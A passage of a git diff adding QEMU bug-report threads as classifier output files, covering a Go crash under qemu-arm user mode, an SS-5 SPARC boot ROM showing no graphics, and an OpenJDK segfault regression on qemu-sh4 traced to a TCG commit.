/usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0x203d5e20, 0x3e3e2068) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0x11760b0, 0xe28040) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c + +goroutine 117 [IO wait]: +internal/poll.runtime_pollWait(0xecac2740, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xc72294, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xc72294, 0xea4001, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xc72280, 0xea4000, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0xc7e1b8, 0xea4000, 0x200, 0x200, 0xea4000, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0xc7e1b8, 0xea4000, 0x200, 0x200, 0xe9d2f000, 0x0, 0x0) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0xfc8060, 0x54c3f8, 0xc7e1b8, 0xe9d2f000, 0xfc8060, 0x1, 0x0) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0xfc8060, 0x54c3f8, 0xc7e1b8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0xfc8060, 0x54c3f8, 0xc7e1b8, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0x11760b0, 0xe28070) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c + +goroutine 130 [IO wait]: +internal/poll.runtime_pollWait(0xecac25c0, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xc8a114, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xc8a114, 0xea4401, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xc8a100, 0xea4400, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0x1112058, 0xea4400, 0x200, 0x200, 0xea4400, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0x1112058, 0xea4400, 0x200, 0x200, 0xe9d2f000, 0x0, 0x0) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0xe10000, 0x54c3f8, 0x1112058, 0xe9d2f000, 0xe10000, 0x1177d01, 0xd5cf98) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0xe10000, 0x54c3f8, 0x1112058, 0x0, 0x0, 0x0, 0x2, 0x0, 0x1, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0xe10000, 0x54c3f8, 0x1112058, 0x1, 0x0, 0x0, 0x0) + /usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0xfe8000, 0x100e040) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c + +goroutine 131 [IO wait]: +internal/poll.runtime_pollWait(0xecac24c0, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xc8a214, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xc8a214, 0x1044001, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xc8a200, 0x1044000, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0x1112078, 0x1044000, 0x200, 0x200, 0x1044000, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0x1112078, 0x1044000, 0x200, 0x200, 0xe9d2f000, 0xa, 0x2) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0xe10060, 0x54c3f8, 0x1112078, 0xe9d2f000, 0xe10060, 0x1, 0x2) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0xe10060, 0x54c3f8, 0x1112078, 0x0, 0x0, 0x0, 0xee3e90, 0x27, 0xd2, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0xe10060, 0x54c3f8, 0x1112078, 0x2, 0xedca50, 0x2b, 0xbc) + /usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0xfe8000, 0x100e060) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c + +goroutine 132 [IO wait]: +internal/poll.runtime_pollWait(0xecac2240, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xdc82d4, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xdc82d4, 0x1044201, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xdc82c0, 0x1044200, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0xc0e270, 0x1044200, 0x200, 0x200, 0x1044200, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0xc0e270, 0x1044200, 0x200, 0x200, 0xe9d2f000, 0x0, 0x0) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0xcb5800, 0x54c3f8, 0xc0e270, 0xe9d2f000, 0xcb5800, 0x1, 0x0) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0xcb5800, 0x54c3f8, 0xc0e270, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0xcb5800, 0x54c3f8, 0xc0e270, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0x0, 0xcc9f80) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0xf8e000, 0xe000c0) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c + +goroutine 133 [IO wait]: +internal/poll.runtime_pollWait(0xecac27c0, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xdc8354, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xdc8354, 0x1040401, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xdc8340, 0x1040400, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0xc0e298, 0x1040400, 0x200, 0x200, 0x1040400, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0xc0e298, 0x1040400, 0x200, 0x200, 0xe9d2f000, 0x0, 0x10b81d0) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0xcb5e00, 0x54c3f8, 0xc0e298, 0xe9d2f000, 0xcb5e00, 0x1, 0x0) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0xcb5e00, 0x54c3f8, 0xc0e298, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0xcb5e00, 0x54c3f8, 0xc0e298, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0xf8e000, 0xe000e0) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault (core dumped) + + + + +-------------- + +With newer golang version +go version +go version go1.11.9 linux/arm +- show quoted text - +GOGCCFLAGS="-fPIC -marm -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build218432843=/tmp/go-build -gno-record-gcc-switches" + + +$ /usr/local/go/bin/go get -v github.com/Azure/sonic-telemetry/dialout/dialout_client_cli +panic: runtime error: invalid memory address or nil pointer dereference +[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x66180] + +goroutine 11fatal error: [malloc deadlock +, panic during panic +[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x66180] + +108033889401^Ifatal error: unexpected signal during runtime execution +stack trace unavailable + +Hi; we very recently fixed a QEMU bug which causes crashes like this for Go binaries running under QEMU's linux-user mode. The fix is in the v4.1.0-rc3 we've just put out and will be in the final 4.1.0 release. Could you retry with that and see if it fixes your problem, please? + + +Facing similar crash with the latest qemu, Can you give some pointers to debug further like backtrace/breakpoints or so + +$ ./qemu-4.1.0-rc3/arm-linux-user/qemu-arm --version +qemu-arm version 4.0.93 +Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers + + +$ ./qemu-4.1.0-rc3/arm-linux-user/qemu-arm $GOROOT/bin/go get -v github.com/Azure/sonic-telemetry/dialout/dialout_client_cli +Fetching https://google.golang.org/grpc?go-get=1 + +<<< LOG Truncated>>> + +Parsing meta tags from https://golang.org/x/net/context?go-get=1 (status code 200) +get "golang.org/x/net/context": found meta tag get.metaImport{Prefix:"golang.org/x/net", VCS:"git", RepoRoot:"https://go.googlesource.com/net"} at https://golang.org/x/net/context?go-get=1 +get "golang.org/x/net/context": verifying non-authoritative meta tag +github.com/c9s/goprocinfo (download) +github.com/go-redis/redis (download) +github.com/golang/glog (download) +github.com/workiva/go-datastructures (download) +github.com/openconfig/ygot (download) +github.com/kylelemons/godebug (download) +github.com/openconfig/goyang (download) +go tool compile: signal: aborted (core dumped) +qemu: unhandled CPU exception 0x10004 - aborting +R00=00000000 R01=0000001e R02=00e2b180 R03=00000000 +R04=00000001 R05=000000d8 R06=000000f6 R07=f6ffec64 +R08=00000000 R09=000000e0 R10=00e1e740 R11=00e3610c +R12=00000034 R13=f6ffebc8 R14=00018d90 R15=0006668c +PSR=20000010 --C- A usr32 +go tool compile: signal: aborted (core dumped) +qemu: unhandled CPU exception 0x10004 - aborting +R00=00000000 R01=0000001e R02=00e1e690 R03=00000000 +R04=00000001 R05=00000008 R06=00000004 R07=00000003 +R08=da507899 R09=01070000 R10=01000540 R11=00e3610c +R12=f67cc015 R13=01049f1c R14=00018d90 R15=0006668c +PSR=20000010 --C- A usr32 + + +I suspect you're not using the new version of QEMU in your test. The 'go' binary will fork and exec other go binaries, and Linux binfmt-misc will use the system QEMU binary to run those, even if you were running the top level 'go' binary with the newer QEMU you've built. + +For Ubuntu this means you need to put the new QEMU binary into /usr/bin/qemu-arm-static. (Probably "cat /proc/sys/fs/binfmt_misc/qemu-arm" will tell you what interpreter binary it uses. It will also have a "flags:" line -- if this includes 'F' for fixed then you will have to take further measures beyond just copying the new QEMU binary into place, because it means the kernel opens the interpreter binary very early, rather than only on-demand, so it will have effectively cached the old version. I'm not sure how you get it to forget about the old version and re-open the new version.) + + +Thanks @pmaydell, I missed to check binfmt qemu version. I checked in qemu 4.0.93 and I don't issue any issue. + + +Thanks for retesting! (We haven't quite got 4.1.0 out of the door yet, so I'll just move this bug to 'fix committed' for the moment; we'll update it back to 'fix released' next week.) + + diff --git a/results/classifier/deepseek-1/output/properly./1260555 b/results/classifier/deepseek-1/output/properly./1260555 new file mode 100644 index 00000000..91ae01ab --- /dev/null +++ b/results/classifier/deepseek-1/output/properly./1260555 @@ -0,0 +1,225 @@ + +SS-5 emulation doesn't work with Sun boot ROM + + +The 32-bit SPARC emulator's TCX emulation seems to work with OpenBIOS, but doesn't work with a SparcStation ROM on Cocoa. Screenshot attached. Using version 1.7.0 on Mac OS X 10.9 via MacPorts and compiled directly from source, though this problem has carried over from Mac OS X 10.8 and many earlier versions of Qemu. + +The following is my Qemu command: + +sudo qemu-system-sparc -m 256 -M SS-5 -bios /home/img/ROMs/sun/ss5-170.bin \ + -g 1024x768x24 \ + -drive file=/home/doc/VMs/slagheap/sd0.raw,if=scsi,bus=0,unit=3 \ + -drive file=/home/doc/VMs/slagheap/sd1.raw,if=scsi,bus=0,unit=1 \ + -drive file=/home/doc/VMs/slagheap/sd2.raw,if=scsi,bus=0,unit=2 \ + -net nic,macaddr=DE:EE:DD:FF:EE:DD,model=lance \ + -net tap,ifname=tap0,script=/home/doc/VMs/slagheap/ifup,downscript=/home/doc/VMs/slagheap/ifdown + +Note: also can't compile Qemu w/ SDL support from MacPorts on Mac OS X, and config.log is not helpful to figure out why, but this is another issue. + + + +On 13 December 2013 01:04, Peter Bartoli <email address hidden> wrote: +> Public bug reported: +> +> +> The 32-bit SPARC emulator's TCX emulation seems to work with +> OpenBIOS, but doesn't work with a SparcStation ROM on Cocoa + +This is actually two separate issues. + +(1) This SS-5 ROM doesn't boot on QEMU. You can see this if +you try it on a Linux host : the display stays black. + +(2) The Cocoa UI frontend doesn't black the screen on startup +(or on resize) the way the SDL frontend does, so if the guest +hasn't tried to display anything to the screen post-resize you +get the old garbage of the window decoration displayed. + +We should probably fix (2), though it's only a cosmetic issue +and you won't even see it if you have a functioning guest. +I expect you care more about (1) and you'll do better with a +bug report that's clear that it's a generic SPARC guest issue. + +thanks +-- PMM + + + +On Dec 23, 2013, at 3:50 PM, Peter Maydell <email address hidden> wrote: +> On 13 December 2013 01:04, Peter Bartoli <email address hidden> wrote: +>> Public bug reported: +>> +>> +>> The 32-bit SPARC emulator's TCX emulation seems to work with +>> OpenBIOS, but doesn't work with a SparcStation ROM on Cocoa +> +> This is actually two separate issues. +> +> (1) This SS-5 ROM doesn't boot on QEMU. You can see this if +> you try it on a Linux host : the display stays black. +> +> (2) The Cocoa UI frontend doesn't black the screen on startup +> (or on resize) the way the SDL frontend does, so if the guest +> hasn't tried to display anything to the screen post-resize you +> get the old garbage of the window decoration displayed. +> +> We should probably fix (2), though it's only a cosmetic issue +> and you won't even see it if you have a functioning guest. +> I expect you care more about (1) and you'll do better with a +> bug report that's clear that it's a generic SPARC guest issue. +> +> thanks +> -- PMM +> +> +> ** Summary changed: +> +> - qemu-system-sparc UI doesn't work with Cocoa and Sun ROM +> + SS-5 emulation doesn't work with Sun boot ROM +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1260555 +> +> Title: +> SS-5 emulation doesn't work with Sun boot ROM +> +> Status in QEMU: +> New +> +> Bug description: +> +> The 32-bit SPARC emulator's TCX emulation seems to work with OpenBIOS, but doesn't work with a SparcStation ROM on Cocoa. Screenshot attached. Using version 1.7.0 on Mac OS X 10.9 via MacPorts and compiled directly from source, though this problem has carried over from Mac OS X 10.8 and many earlier versions of Qemu. +> +> The following is my Qemu command: +> +> sudo qemu-system-sparc -m 256 -M SS-5 -bios /home/img/ROMs/sun/ss5-170.bin \ +> -g 1024x768x24 \ +> -drive file=/home/doc/VMs/slagheap/sd0.raw,if=scsi,bus=0,unit=3 \ +> -drive file=/home/doc/VMs/slagheap/sd1.raw,if=scsi,bus=0,unit=1 \ +> -drive file=/home/doc/VMs/slagheap/sd2.raw,if=scsi,bus=0,unit=2 \ +> -net nic,macaddr=DE:EE:DD:FF:EE:DD,model=lance \ +> -net tap,ifname=tap0,script=/home/doc/VMs/slagheap/ifup,downscript=/home/doc/VMs/slagheap/ifdown +> +> Note: also can't compile Qemu w/ SDL support from MacPorts on Mac OS +> X, and config.log is not helpful to figure out why, but this is +> another issue. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1260555/+subscriptions + + +Please accept my apology if I'm missing something, but I don't understand what you mean by #1; this ROM actually *does* boot on QEMU. Just not without the "-nographic" option. + +-peter + +Ah, I hadn't tried -nographic. However, my general point still stands: whether you run this on MacOS or Linux, you get the same behaviour. + +Experimenting I see that all that's happening here is that '-nographic' gives you a serial console, which the ROM outputs to. You can also specify that with '-serial stdio' instead, in which case you get ROM output to the terminal and a blank display. So the two parts of this bug are: + +(1) no graphics output with this ROM +(2) cocoa UI doesn't properly show a black window if there is no graphics output from the guest + +I have some patches which fix (2). + +(If you have a bug which is a general QEMU emulation bug, it's a really bad idea to describe it using phrases like"on Cocoa" or "on MacOS" which suggest that it's a MacOS host specific bug, because this will mean that it will get ignored by almost all the developers, most of whom use Linux. If you have access to a suitable machine it's definitely helpful to try reproducing on a Linux box before reporting a bug. If you've only been able to test on Mac you should say so somewhere in the bug report, though.) + + +These two patches for the Cocoa UI: + http://patchwork.ozlabs.org/patch/304879/ + http://patchwork.ozlabs.org/patch/304878/ + +fix issue (2) so Cocoa now also displays a plain black window for this guest, like the SDL frontend does on Linux. + + +On 23/12/13 23:50, Peter Maydell wrote: + +>> The 32-bit SPARC emulator's TCX emulation seems to work with +>> OpenBIOS, but doesn't work with a SparcStation ROM on Cocoa +> +> This is actually two separate issues. +> +> (1) This SS-5 ROM doesn't boot on QEMU. You can see this if +> you try it on a Linux host : the display stays black. + +FWIW this should now work if you replace the QEMU,tcx.bin file from QEMU +1.7/master with the one uploaded to this bug: +https://bugs.launchpad.net/qemu/+bug/1262081. + +As OpenBIOS doesn't have its own git infrastructure, I need to get the +git.qemu.org git-svn mirror updated by Anthony in order to send a pull +request with updated binaries (Blue Swirl set up OpenBIOS to build as a +git submodule from the git.qemu.org mirror). I'll try and get them +updated as soon as I can. + + +ATB, + +Mark. + + + +Thanks, Peter ... will do, definitely have Linux and can use it to test in the future before reporting other bugs. That said, I think you can close this one. + +-peter + +On Dec 23, 2013, at 6:43 PM, Peter Maydell <email address hidden> wrote: +> Ah, I hadn't tried -nographic. However, my general point still stands: +> whether you run this on MacOS or Linux, you get the same behaviour. +> +> Experimenting I see that all that's happening here is that '-nographic' +> gives you a serial console, which the ROM outputs to. You can also +> specify that with '-serial stdio' instead, in which case you get ROM +> output to the terminal and a blank display. So the two parts of this bug +> are: +> +> (1) no graphics output with this ROM +> (2) cocoa UI doesn't properly show a black window if there is no graphics output from the guest +> +> I have some patches which fix (2). +> +> (If you have a bug which is a general QEMU emulation bug, it's a really +> bad idea to describe it using phrases like"on Cocoa" or "on MacOS" which +> suggest that it's a MacOS host specific bug, because this will mean that +> it will get ignored by almost all the developers, most of whom use +> Linux. If you have access to a suitable machine it's definitely helpful +> to try reproducing on a Linux box before reporting a bug. If you've only +> been able to test on Mac you should say so somewhere in the bug report, +> though.) +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1260555 +> +> Title: +> SS-5 emulation doesn't work with Sun boot ROM +> +> Status in QEMU: +> New +> +> Bug description: +> +> The 32-bit SPARC emulator's TCX emulation seems to work with OpenBIOS, but doesn't work with a SparcStation ROM on Cocoa. Screenshot attached. Using version 1.7.0 on Mac OS X 10.9 via MacPorts and compiled directly from source, though this problem has carried over from Mac OS X 10.8 and many earlier versions of Qemu. +> +> The following is my Qemu command: +> +> sudo qemu-system-sparc -m 256 -M SS-5 -bios /home/img/ROMs/sun/ss5-170.bin \ +> -g 1024x768x24 \ +> -drive file=/home/doc/VMs/slagheap/sd0.raw,if=scsi,bus=0,unit=3 \ +> -drive file=/home/doc/VMs/slagheap/sd1.raw,if=scsi,bus=0,unit=1 \ +> -drive file=/home/doc/VMs/slagheap/sd2.raw,if=scsi,bus=0,unit=2 \ +> -net nic,macaddr=DE:EE:DD:FF:EE:DD,model=lance \ +> -net tap,ifname=tap0,script=/home/doc/VMs/slagheap/ifup,downscript=/home/doc/VMs/slagheap/ifdown +> +> Note: also can't compile Qemu w/ SDL support from MacPorts on Mac OS +> X, and config.log is not helpful to figure out why, but this is +> another issue. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1260555/+subscriptions + + + + diff --git a/results/classifier/deepseek-1/output/qemu-sh4./1735384 b/results/classifier/deepseek-1/output/qemu-sh4./1735384 new file mode 100644 index 00000000..e21df668 --- /dev/null +++ b/results/classifier/deepseek-1/output/qemu-sh4./1735384 @@ -0,0 +1,584 @@ + +OpenJDK JVM segfaults on qemu-sh4 (regression) + +Some of the recent changes introduced a regression which makes the OpenJDK JVM crash on qemu-sh4: + +(sid-sh4-sbuild)root@nofan:/# java -version +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault +(sid-sh4-sbuild)root@nofan:/# + +An older version works fine: + +(sid-sh4-sbuild)root@nofan:/# java -version +openjdk version "9.0.1" +OpenJDK Runtime Environment (build 9.0.1+11-Debian-1) +OpenJDK Zero VM (build 9.0.1+11-Debian-1, interpreted mode) +(sid-sh4-sbuild)root@nofan:/# + +Haven't had time for bisecting this yet. + +Adrian + +This sounds like it may be the bug fixed by this patchset: https://lists.gnu.org/archive/html/qemu-devel/2017-11/msg05067.html + + +On 11/30/2017 01:19 PM, Peter Maydell wrote: +> This sounds like it may be the bug fixed by this patchset: +> https://lists.gnu.org/archive/html/qemu-devel/2017-11/msg05067.html + +Unfortunately not. I will upload a prepared chroot for testing later +and link it in this bug report. + +Adrian + +-- + .''`. John Paul Adrian Glaubitz +: :' : Debian Developer - <email address hidden> +`. `' Freie Universitaet Berlin - <email address hidden> + `- GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 + + +The offending commit is: + +d25f2a72272b9ffe0d06710d6217d1169bc2cc7d is the first bad commit +commit d25f2a72272b9ffe0d06710d6217d1169bc2cc7d +Author: Alex Bennée <email address hidden> +Date: Mon Nov 13 13:55:27 2017 +0000 + + accel/tcg/translate-all: expand cpu_restore_state addr check + + We are still seeing signals during translation time when we walk over + a page protection boundary. This expands the check to ensure the host + PC is inside the code generation buffer. The original suggestion was + to check versus tcg_ctx.code_gen_ptr but as we now segment the + translation buffer we have to settle for just a general check for + being inside. + + I've also fixed up the declaration to make it clear it can deal with + invalid addresses. A later patch will fix up the call sites. + + Signed-off-by: Alex Bennée <email address hidden> + Reported-by: Peter Maydell <email address hidden> + Reviewed-by: Laurent Vivier <email address hidden> + Reviewed-by: Richard Henderson <email address hidden> + Message-id: <email address hidden> + Suggested-by: Paolo Bonzini <email address hidden> + Cc: Richard Henderson <email address hidden> + Tested-by: Peter Maydell <email address hidden> + Signed-off-by: Peter Maydell <email address hidden> + +:040000 040000 da50c4c43089d3ee7d1e9ad50d3c9036114e5f11 cd6a0dcaa1d284fe5439f6f3b61547d4b0662768 M accel +:040000 040000 c294a7c102d27295f8d81cc06b5d4d17357440ad 5a1268b7634f69f0806f22161ec7d6a1a26c8812 M include + +Reverting the commit resolves the issue. + +-- + .''`. John Paul Adrian Glaubitz +: :' : Debian Developer - <email address hidden> +`. `' Freie Universitaet Berlin - <email address hidden> + `- GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 + + + +Thomas Huth <email address hidden> writes: + +> On 01.12.2017 00:25, John Paul Adrian Glaubitz wrote: +>> The offending commit is: +>> +>> d25f2a72272b9ffe0d06710d6217d1169bc2cc7d is the first bad commit +>> commit d25f2a72272b9ffe0d06710d6217d1169bc2cc7d +>> Author: Alex Bennée <email address hidden> +>> Date: Mon Nov 13 13:55:27 2017 +0000 +>> +>> accel/tcg/translate-all: expand cpu_restore_state addr check +>> +>> We are still seeing signals during translation time when we walk over +>> a page protection boundary. This expands the check to ensure the host +>> PC is inside the code generation buffer. The original suggestion was +>> to check versus tcg_ctx.code_gen_ptr but as we now segment the +>> translation buffer we have to settle for just a general check for +>> being inside. +>> +>> I've also fixed up the declaration to make it clear it can deal with +>> invalid addresses. A later patch will fix up the call sites. +>> +>> Signed-off-by: Alex Bennée <email address hidden> +>> Reported-by: Peter Maydell <email address hidden> +>> Reviewed-by: Laurent Vivier <email address hidden> +>> Reviewed-by: Richard Henderson <email address hidden> +>> Message-id: <email address hidden> +>> Suggested-by: Paolo Bonzini <email address hidden> +>> Cc: Richard Henderson <email address hidden> +>> Tested-by: Peter Maydell <email address hidden> +>> Signed-off-by: Peter Maydell <email address hidden> +>> +>> :040000 040000 da50c4c43089d3ee7d1e9ad50d3c9036114e5f11 cd6a0dcaa1d284fe5439f6f3b61547d4b0662768 M accel +>> :040000 040000 c294a7c102d27295f8d81cc06b5d4d17357440ad 5a1268b7634f69f0806f22161ec7d6a1a26c8812 M include +>> +>> Reverting the commit resolves the issue. +>> +> +> Alex, any ideas what might be wrong here? + +It's hard to imagine a scenario where taking the tb_lock() for resolving +something that will fail is going to be an improvement. However maybe +there is a subtle difference with sh4's javavm implementation. + +A backtrace QEMU after the segv would be useful here. + +-- +Alex Bennée + + +On 12/04/2017 10:29 AM, Alex Bennée wrote: +> It's hard to imagine a scenario where taking the tb_lock() for resolving +> something that will fail is going to be an improvement. However maybe +> there is a subtle difference with sh4's javavm implementation. + +So, OpenJDK doesn't have a SH-specific implementation of the JVM, it just +uses the Zero variant, which is a pure C++ implementation of the JVM. + +The same implementation is used on any other architecture like older ARM +(< ARMv7). I just tested it on ARMv4T and it doesn't crash there on +qemu-user. + +However, SH4 is special due to its implementation of atomics in user +space called gUSA for which support to qemu-user has been recently +added by Richard Hendersson. Maybe the problem lies there. + +> A backtrace QEMU after the segv would be useful here. + +I forgot what the proper procedure is for running qemu-user inside +GDB. Could you help me with that? + +The strace looks like this in any case: + +28856 access("/etc/ld.so.nohwcap",F_OK) = -1 errno=2 (No such file or directory) +28856 open("/lib/sh4-linux-gnu/libgcc_s.so.1",O_RDONLY|O_CLOEXEC) = 3 +28856 read(3,0x7fffacd4,512) = 512 +28856 fstat64(3,0x7fffabe8) = 0 +28856 mmap(NULL,189084,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x7ee27000 +28856 mprotect(0x7ee45000,61440,PROT_NONE) = 0 +28856 mmap(0x7ee54000,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x1d000) = 0x7ee54000 +28856 close(3) = 0 +28856 mprotect(0x7ee54000,4096,PROT_READ) = 0 +28856 mprotect(0x7eee8000,4096,PROT_READ) = 0 +28856 mprotect(0x7f05c000,20480,PROT_READ) = 0 +28856 mprotect(0x7f5c8000,53248,PROT_READ) = 0 +28856 getpid() = 28856 +28856 munmap(0x7f065000,50134) = 0 +28856 getpid() = 28856 +28856 mmap(NULL,1572864,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|0x20000,-1,0) = 0x7eca7000 +28856 mprotect(0x7eca7000,4096,PROT_NONE) = 0 +28856 clone(CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,child_stack=0x7ee26048,parent_tidptr=0x7ee26528,tls=0x7ee26930,child_tidptr=0x7ee26528) = 28860 +28856 futex(0x7ee26528,FUTEX_WAIT,28860,NULL,0x7f77c6e8,2138556136)28856 set_robust_list(2128766256,12,-1,2128766652,-1,2128764832) = -1 errno=38 (Function not implemented) +--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x289da000} --- +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault +(sid-sh4-sbuild)root@nofan:/local_scratch/sid-sh4-sbuild# + +Adrian + +-- + .''`. John Paul Adrian Glaubitz +: :' : Debian Developer - <email address hidden> +`. `' Freie Universitaet Berlin - <email address hidden> + `- GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 + + + +John Paul Adrian Glaubitz <email address hidden> writes: + +> On 12/04/2017 10:29 AM, Alex Bennée wrote: +>> It's hard to imagine a scenario where taking the tb_lock() for resolving +>> something that will fail is going to be an improvement. However maybe +>> there is a subtle difference with sh4's javavm implementation. +> +> So, OpenJDK 